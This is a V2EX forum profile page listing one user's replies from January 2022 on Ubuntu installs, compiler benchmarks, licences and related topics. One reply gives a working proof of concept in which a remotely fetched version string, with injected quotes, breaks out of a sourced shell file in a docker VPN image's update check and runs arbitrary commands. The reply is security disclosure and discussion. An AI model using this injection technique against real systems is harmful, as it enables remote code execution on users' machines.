V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
V2EX  ›  liuxu  ›  全部回复第 24 页 / 共 147 页
回复总数  2922
1 ... 20  21  22  23  24  25  26  27  28  29 ... 147  
我还以为是 kernel tls ,麻烦换个缩写,或者标注清楚
2022 年 1 月 17 日
回复了 luozhiyun 创建的主题 程序员 2021 年总结:技术&技术之外
就凭你用 vscode 这一点,我就应该给你 10 铜币

希望能继续深入 golang 和 TiDB 分享出来
2022 年 1 月 16 日
回复了 mafeifan 创建的主题 Ubuntu 本地安装 Ubuntu Server 奇慢
安装慢是因为安装器下载更新源是官方的,安装是默认更新,不翻墙下载最多不超过 100kb/s
拔网线是为了让安装器跳过下载更新
解决办法是拔网线,安装时选最小化安装或者普通安装,不选择下载第三方固件选项
或者路由器翻墙
或者直接下载 ubuntu virtualbox 版镜像,直接导入到 virtualbox 中
2022 年 1 月 15 日
回复了 GM 创建的主题 云计算 阿里云已经成为全世界最大的中文内容农场
互联网垃圾生产者的猖狂,暴露了法律法规对创作者保护力度的薄弱与无视,以及社会对这些蛀虫毫无底线的无限容忍
2022 年 1 月 14 日
回复了 yuxing1171 创建的主题 程序员 你认为什么是 10 倍程序员
@2i2Re2PLMaDnghL 我居然没想到可以打穿地球,这样只有 2r 的距离,而不是πr 了,可行
@ragnaroks 我以为的原生支持就是没有虚拟化就算,不是按 fps 算的吧
@dangyuluo 给我整无语了,一个精简指令集编译的东西,一个复杂指令集编译的东西,编译目标都不一样时间自然不一样,没有没多线程编译,开了各开的多少也不说,nvme 同一型号还说的过去。。都是 64G 内存,aarch 的内存能和 x86 的内存能是同一型号么。。内存带宽能一样吗
bench 跑的都是 cpu 指令速度,编译不仅 cpu ,还有磁盘 io ,内存速度,这也能问为什么

注册了七八年的号,年纪也不小了,初中生都理解的逻辑,一个在沙地跑,一个在水泥地跑,为什么一个快一个慢?

两句话就 block ,互联网容忍傻逼的能力还是太强了
x86-64 编译 64 位 x86 的目标程序,aarch64 编译 64 位 aarch 的目标程序吗,你说为什么
2022 年 1 月 14 日
回复了 yuxing1171 创建的主题 程序员 你认为什么是 10 倍程序员
@singerll 大多数国际路由优化,10s 优化到 1s 没人鸟你,但你能把 1s 优化到 100ms ,是相当美滋滋的,例如上海到洛杉矶的延迟,可惜得先有两台超光速交换机
不是不支持,是价格确实太感人
virmach cpu 限制很严格,编译机直接 vultr ,按分钟扣费
有点意思,以后再有人说我代码有 bug ,我就说他心绪混乱未集中注意力,他静心理清心绪就看不见了
2022 年 1 月 5 日
回复了 acbot 创建的主题 Linux Linux 有没有系统事件通知订阅功能。
udev 用起来很简单
2022 年 1 月 4 日
回复了 oxogenesis 创建的主题 程序员 除了我还有谁在用 WTFPL
6 年前就在用了,我在 V2EX 的第一帖,还把站长搞来了,233
https://v2ex.com/t/215479#reply106

@krixaar 没想到还有免责风险,那我以后也用这个协议 /doge
2022 年 1 月 4 日
回复了 xuegy 创建的主题 Linux 求一个智能打包到 tar 的脚本
@beginor 回帖消耗 5 铜币,被楼主点赞获得 10 铜币,利润 5 铜币

楼主用 python 写脚本吧
2022 年 1 月 4 日
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@2i2Re2PLMaDnghL
@hwdsl2

最新的 commit grep 前 head 版本返回第一行,grep 进行单行验证,我这边验证没安全问题了

https://github.com/hwdsl2/docker-ipsec-vpn-server/commit/b01c7d8951cc9c797791b96ff1bfd46ac336862b
2022 年 1 月 3 日
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@2i2Re2PLMaDnghL

#17 你是对的,我给想混了,把 grep 想成管道过滤输出了,怎么在 if 里面这么想。。

按你的方法,我利用成功了

测试脚本,模仿 run.sh

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat test.sh
#!/bin/bash

swan_ver_file="/tmp/tmp_version"
swan_ver="1.2";
swan_ver_latest=$(wget -qO- "http*s://www.xxx.com/test.txt");

#echo $swan_ver_latest;
#printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$';

if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn
EOF
fi


wget exploit 代码:

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat /var/www/www.xxx.com/test.txt
999.999.998'
999.999.999
echo "hello world"
zz'


执行结果:

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # sh ./test.sh
/tmp/tmp_version: line 2: 999.999.999: command not found
hello world
/tmp/tmp_version: line 4: zz: command not found
Note: A newer version of Libreswan (999.999.998) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn


楼主的猜测没问题,如果作者想利用这个步骤攻击,可以在某个时期段注入攻击代码,然后再恢复正常,很难被人发现,唯一可控的就是 docker 环境隔离了宿主机

但考虑到是 vpn ,存在被利用搭建管道,建议不要使用
2022 年 1 月 3 日
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@devliu1

作者通过 source 给当前 docker 环境注入一个环境变量没有什么不妥

换个说法,作者建了一座楼,没问题,然后你在楼下拉了个横幅在说“我感觉这楼有安全问题,要塌”,然后作者跟你说没安全问题,把横幅扔到垃圾桶,你觉得这个作者的行为有什么问题么

还是说你感觉不妥,应该继续放楼下展示,给大家提个醒,万一真的会塌呢
1 ... 20  21  22  23  24  25  26  27  28  29 ... 147  
About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   974 Online   Highest 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 35ms · UTC 22:14 · PVG 06:14 · LAX 15:14 · JFK 18:14
♥ Do have faith in what you're doing.